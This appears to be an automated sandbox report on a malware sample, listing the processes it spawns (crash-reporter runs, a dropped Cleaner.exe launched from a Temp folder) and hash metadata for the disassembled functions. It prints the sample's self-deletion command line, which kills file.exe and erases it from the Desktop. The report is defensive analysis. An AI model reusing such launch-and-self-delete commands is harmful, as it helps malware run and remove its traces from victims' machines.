Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 768
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 4072, Parent PID: 3196

General

Target ID:	13
Start time:	17:29:49
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 848
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 2008, Parent PID: 3196

General

Target ID:	15
Start time:	17:29:52
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 840
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6036, Parent PID: 3196

General

Target ID:	17
Start time:	17:29:54
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1032
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5204, Parent PID: 3196

General

Target ID:	19
Start time:	17:30:19
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1292
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5760, Parent PID: 3196

General

Target ID:	20
Start time:	17:30:20
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4744, Parent PID: 5760

General

Target ID:	21
Start time:	17:30:21
Start date:	03/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Cleaner.exePID: 5208, Parent PID: 5760

General

Target ID:	22
Start time:	17:30:21
Start date:	03/10/2022
Path:	C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe"
Imagebase:	0x1cfc72f0000
File size:	3947920 bytes
MD5 hash:	04514BD4962F7D60679434E0EBE49184
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 29%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 3608, Parent PID: 3196

General

Target ID:	26
Start time:	17:30:51
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1552
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 1388, Parent PID: 3196

General

Target ID:	27
Start time:	17:30:55
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /im "file.exe" /f & erase "C:\Users\user\Desktop\file.exe" & exit
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4392, Parent PID: 1388

General

Target ID:	28
Start time:	17:30:56
Start date:	03/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: taskkill.exePID: 2324, Parent PID: 1388

General

Target ID:	29
Start time:	17:30:56
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /im "file.exe" /f
Imagebase:	0x130000
File size:	74752 bytes
MD5 hash:	15E2E0ACD891510C6268CB8899F2A1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: Cleaner.exePID: 5208, Parent PID: 5760COMMON

Executed Functions

Function 00007FF9A58D1D61 Relevance: .7, Instructions: 748COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ede8d835da4ede81e43734e79159031f16f23b3e8868391efc0848d14f068252
Instruction ID: f055ad4d492aa95faaf264ed700182cea60a8ea60e86c00ea57c3027786dd6ce
Opcode Fuzzy Hash: ede8d835da4ede81e43734e79159031f16f23b3e8868391efc0848d14f068252
Instruction Fuzzy Hash: 5A52813160E7858FD7AAEB38C455BA97BE1EF5A300F0444FDD48ECB2A3DA64A845C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D553E Relevance: .6, Instructions: 639COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04db15c72ec90e7305e9a1683269b5ff12ad89db8323c921b21bb4b8bd62bccb
Instruction ID: 1394d0150a8fb22965879f5af17aff5c6e157b44eb22d0f016eb320c154e1012
Opcode Fuzzy Hash: 04db15c72ec90e7305e9a1683269b5ff12ad89db8323c921b21bb4b8bd62bccb
Instruction Fuzzy Hash: FA32A23060D7458FD7AADB28C099BA677E1EF96300F1045BED48ECB2A3DE79A845C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58DA91D Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df342107322e5d04859b92ef128f540c0e95fdcd63b5aae063e61018ab9a6e9a
Instruction ID: b017f3c0d5b7e635aade9783e83abdde742858bda4e0c5d8d22b8522731d9ad1
Opcode Fuzzy Hash: df342107322e5d04859b92ef128f540c0e95fdcd63b5aae063e61018ab9a6e9a
Instruction Fuzzy Hash: 42A1E131A0DA488FD74DDF28D440AA677E1EF9A305F5481BED04ECB292DE75A943CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D1148 Relevance: 2.4, Strings: 1, Instructions: 1196COMMON

Download Yara Rule

Strings

Tr_H, xrefs: 00007FF9A58D1AFD

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID: Tr_H
API String ID: 0-2004513774
Opcode ID: 45f16c3fc37159aa45129bd334d3a1e816ed1d6de8de0d0156fd01a8cb0182a8
Instruction ID: 3eb1c5222f353cfa593956afc64c1a62f4e0954c39c4fbc563392c31850751d1
Opcode Fuzzy Hash: 45f16c3fc37159aa45129bd334d3a1e816ed1d6de8de0d0156fd01a8cb0182a8
Instruction Fuzzy Hash: 3C329112B1DA4A0FE798EB3C54997FA67D2EF9A750F4045B9D48FC3293DD68B80A4340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58DD69E Relevance: 1.6, Strings: 1, Instructions: 345COMMON

Download Yara Rule

Strings

oW', xrefs: 00007FF9A58DD7B8

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID: oW'
API String ID: 0-941945747
Opcode ID: 0bfa708d7810bb5dcd05103a9d1693286bd11a384ddc36a4ea45a1b6e620439e
Instruction ID: 8f2bc8df45e12d5cbd16bcaf92b9c8414a3776ee986981aae787559e88d7ccbd
Opcode Fuzzy Hash: 0bfa708d7810bb5dcd05103a9d1693286bd11a384ddc36a4ea45a1b6e620439e
Instruction Fuzzy Hash: C1A10472A0E7850FE75AD62C98032A57BE1EF87710F1405FAD4CACB29BD959680783D2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D85AD Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

W, xrefs: 00007FF9A58D862E

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-655174618
Opcode ID: 92a419df858ebda17bf517a23acdccc36fbcdcd79fd94590758da2e48e17fd97
Instruction ID: b29339be2dbd677a01117a67bfd4d3d338056b418749b22ed4a7f7bf0c7097a9
Opcode Fuzzy Hash: 92a419df858ebda17bf517a23acdccc36fbcdcd79fd94590758da2e48e17fd97
Instruction Fuzzy Hash: E451E031A0C7854BE75DDF28E4457B6BAE0FF4A305F1041BEE08EC7282DAB9A5468781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D0901 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF9A58D0926

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: b7087b9dd21519eda66a9c5aff40ad9405ad30c2a5b19f2d12a1499af9930748
Instruction ID: b3efccef81716fddf3462859bbaf7cbfa1f22aece14084c15ce8f348e90ba564
Opcode Fuzzy Hash: b7087b9dd21519eda66a9c5aff40ad9405ad30c2a5b19f2d12a1499af9930748
Instruction Fuzzy Hash: 67F03C316196198FD744EF2CD48865977E0FF5A304F5405A9F489E7261DB38E9418B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58DE2A5 Relevance: 1.0, Instructions: 1022COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac5331cf03f138ff640a0827ee84b85e95f7faf12f6a5d491c9268eeea172cff
Instruction ID: e9a5edaea0dedf94fed1908073354e1460469bf3ff778e338ee29444b2b24b22
Opcode Fuzzy Hash: ac5331cf03f138ff640a0827ee84b85e95f7faf12f6a5d491c9268eeea172cff
Instruction Fuzzy Hash: 03313E12A0F7D10FE756A73CA8A66E57FE09F5362070940F7D4CCCB1A3C94C684A83A2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58DCF99 Relevance: .6, Instructions: 630COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89ecdcf24dfcb87fb3ce3856b1fed3f6f71750c2496590c6bc21a6415a5d3e32
Instruction ID: aeeee18526c71ac99121ac52b2d1d0fcb76c0d8921a3eb106f66bef48615f5f8
Opcode Fuzzy Hash: 89ecdcf24dfcb87fb3ce3856b1fed3f6f71750c2496590c6bc21a6415a5d3e32
Instruction Fuzzy Hash: 50220572A0EB458FE759DB2884427B5BBE1FF96700F1005BED48EC7296DE64B806C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D7D62 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d47e739703bc9528a685b33f93489b1d6d3720399dbf4c144a3184c721d062
Instruction ID: bd90504eb234b62a5c7b3602a038270e201ffa54221adb98c4b3c083716de2b2
Opcode Fuzzy Hash: 64d47e739703bc9528a685b33f93489b1d6d3720399dbf4c144a3184c721d062
Instruction Fuzzy Hash: 78E1D33161DA458FE79AEB3894957A977E1FF5A300F4044FDD08EC72A3DE68A842CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D47B0 Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc5f2ae88b3bc0b5ed7d23cae82e71659472c97b9cdf305a884af21c05029795
Instruction ID: c6d9de4f1170ef2832a74c130e01ba368e430cea3dac7528d38400104c657dae
Opcode Fuzzy Hash: bc5f2ae88b3bc0b5ed7d23cae82e71659472c97b9cdf305a884af21c05029795
Instruction Fuzzy Hash: 4EE17F3160E7858FE76AEB3890957A67BE1EF56300F5044BDD08EC72A3DE79A806C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D693E Relevance: .4, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64cb01f0d608ef30ff2c19cf0c66132db3529ca56a9ff4d3259830015a04d130
Instruction ID: ab254cf82b8102458ead313b0683041115be1a4735eb293449ff7c7451c5a95f
Opcode Fuzzy Hash: 64cb01f0d608ef30ff2c19cf0c66132db3529ca56a9ff4d3259830015a04d130
Instruction Fuzzy Hash: 46E1B372A0E7858FE76ADB3884557A57BE0EF56300F1404FED4CECB1A3DA686946C702

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58DA55A Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e1c2dc86827a759544d260ac6f5e9342579294b822706cf248d3be93838c3e0
Instruction ID: d618d4504414881de025c7fedf90864beb343ee00b8f95745ee8af06bc09b12b
Opcode Fuzzy Hash: 1e1c2dc86827a759544d260ac6f5e9342579294b822706cf248d3be93838c3e0
Instruction Fuzzy Hash: 9FB13572A0D7458FE75CDB2C94066B577E1EF86B10F2005BED4CEC7192EE69B8078681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D8776 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9652e0a5ccc73691a737e55d032b50cfc6ff7194a32ba571cab6f30f844eedc7
Instruction ID: 1c3a682964c8e31c2b4aa6b3ca57a530670e4e5d17980daa83680c57384db1ac
Opcode Fuzzy Hash: 9652e0a5ccc73691a737e55d032b50cfc6ff7194a32ba571cab6f30f844eedc7
Instruction Fuzzy Hash: 7CA1E672A0DB898FE799DB3894857B677E1FF9A300F4445BDD08EC7292DE28A805C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D6D75 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dc9d35a0dd434d3927eda711695c0d00e5be0ded5ac27b9e586030b32e8be27
Instruction ID: 041c0aeee7a3e585e1d47beb3938228ca151845848cc6e80f17fbc751b08299e
Opcode Fuzzy Hash: 7dc9d35a0dd434d3927eda711695c0d00e5be0ded5ac27b9e586030b32e8be27
Instruction Fuzzy Hash: 27C18F71A0E7858FE76ADB68C4557A57BE1EF56300F1449FED08EC72A3CA386806C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D28C2 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c773d4d02724b41cc94300c1679f17e575a1aa9cdaceff3b2deac33436fedeac
Instruction ID: 353c2036a31e713193dcafb58761f1a95b356c59b8d9d2cd853cefe82f0f13c2
Opcode Fuzzy Hash: c773d4d02724b41cc94300c1679f17e575a1aa9cdaceff3b2deac33436fedeac
Instruction Fuzzy Hash: 7EB1A17261E7858FE36ADB3884557A57BD1EF57304F1404BDD0CAC7293DE686806C742

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D7999 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b86a2fc1b312ee134d9081617a522e26fb164667e9353533e9c4f5c6447b5b84
Instruction ID: c33725ad8a4ca1668fc9d81b7a28b64b0de046524e15b473daf17397b8703f3d
Opcode Fuzzy Hash: b86a2fc1b312ee134d9081617a522e26fb164667e9353533e9c4f5c6447b5b84
Instruction Fuzzy Hash: A3B19F7250E7858FD36ADB2884557E67BE0EF56300F0109FED0CACB1A3EA786946C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D3F72 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 275330121b6bf1e50538e40181eec6946f1ef883918ca175210ec2eebac608da
Instruction ID: 90682fc109c662bdd2003e966ec328efced065825e239553c20d82b3f188b2bd
Opcode Fuzzy Hash: 275330121b6bf1e50538e40181eec6946f1ef883918ca175210ec2eebac608da
Instruction Fuzzy Hash: 38A1D331A0E7859FE7AAD77884157A67BD1EF5A300F0404FDC08ACB1A3DE69A846C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D645B Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99dd5082d46dd3328f42b476e76fb9cf270105cd425b8c014ba3c1a77c3015f
Instruction ID: 0b1a59dbeeaae79ce0070cba074775d694c34c240f141cc4de3b83f673e62a06
Opcode Fuzzy Hash: e99dd5082d46dd3328f42b476e76fb9cf270105cd425b8c014ba3c1a77c3015f
Instruction Fuzzy Hash: D0A1D4B2A0E7894FD76AD73894567D97BE0EF56304F0404FEC0C9CB1E3EA6869468341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D394F Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81fb53283450acc3685f00ae1910c484336ae81cebc6c7e755dd0f22647071d3
Instruction ID: 7ced076833fced1477937bc8b4b7581dacc7f0642410ba36ddd59b6e2bb77765
Opcode Fuzzy Hash: 81fb53283450acc3685f00ae1910c484336ae81cebc6c7e755dd0f22647071d3
Instruction Fuzzy Hash: 6AA1AF7260E7859FE36AD77898652A57BE1EF4B304F0408FDC0C9CB1A3DA686806C742

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D74E1 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e3725dcec6876eca63f6f48bb8bd35dec52dd1c0644fa5551666592af64690f
Instruction ID: 9463a62a2da7ae1cac895ca8d37bb28f420ab5d8d1bde4b822f8174da2c0ee78
Opcode Fuzzy Hash: 4e3725dcec6876eca63f6f48bb8bd35dec52dd1c0644fa5551666592af64690f
Instruction Fuzzy Hash: EC915D6290E7C58FD3A6DB3884597A57BE0EF57300F0509FEC4C9CB1A3DA68684AC742

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58DB3DD Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4746f932179fcadd104db5a0e4c05c6037210abd2890f6408d8adeab6b4e20a3
Instruction ID: 7fc6799aa5fddf2498071f618f32025b71095f889367fc11a307d853063a9a44
Opcode Fuzzy Hash: 4746f932179fcadd104db5a0e4c05c6037210abd2890f6408d8adeab6b4e20a3
Instruction Fuzzy Hash: 5281E671A1DA088FE769EB2CD4856B577E1FF99301F4045BDD08EC72A2DE34E8068B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D9FDD Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f129e674eb7645a153aa0fdb725b94adea9c6a2b10e32124e312ba310118831
Instruction ID: e0d7d682c716c6caf0adc23a76854c636bf24cedcd3ce934b4d4b056c26aaada
Opcode Fuzzy Hash: 8f129e674eb7645a153aa0fdb725b94adea9c6a2b10e32124e312ba310118831
Instruction Fuzzy Hash: 0E812772A0D7848FE75DEB28D4457A67BE0EF96300F2045BED48FC7292DE74A8468781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D2EE5 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d200eef7ca9cac07b9d379de750392c22ade94b1535a46e27bc75f677cd2fa98
Instruction ID: 2b3224fc8fa8ff05052f176edb2ac5f5b10debf8eb6d574cc23a33de57dfc7c1
Opcode Fuzzy Hash: d200eef7ca9cac07b9d379de750392c22ade94b1535a46e27bc75f677cd2fa98
Instruction Fuzzy Hash: 14917172A1E7858FE76AD73884557A97BD1EF56304F0408FDC08ECB293DE69A806C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58DAEE9 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f551a370e105c85f26c63a37c5b852fe4eb81fef739e031de2f627b703d4677
Instruction ID: decc1633239f67980ff5bf925da7d52c2fc93f537de7386b848bd542875201b5
Opcode Fuzzy Hash: 4f551a370e105c85f26c63a37c5b852fe4eb81fef739e031de2f627b703d4677
Instruction Fuzzy Hash: F5712A72A0DA454FE759DB2C9045BB5BBD1EF96300F1485FDC08ECB2A3DD24AC468780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D32F2 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff9a58d0000_Cleaner.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7f08043fa089a25e8a921a7b4cb80fc58bb824a780201e10fc6ecdcc5ac59d5
Instruction ID: 24176dd99688e4390a17fdf8a004c62b72230d7d93faf66ed0b77acd5323f07a
Opcode Fuzzy Hash: a7f08043fa089a25e8a921a7b4cb80fc58bb824a780201e10fc6ecdcc5ac59d5
Instruction Fuzzy Hash: 8B81C131A0EB858FE3A9EB38A4953E977D1EF5A305F1044BDD08EC7292DE79A805C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A58D9B6D Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.579391942.00007FF9A58D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A58D0000, based on PE: false

Joe Sandbox IDA Plugin

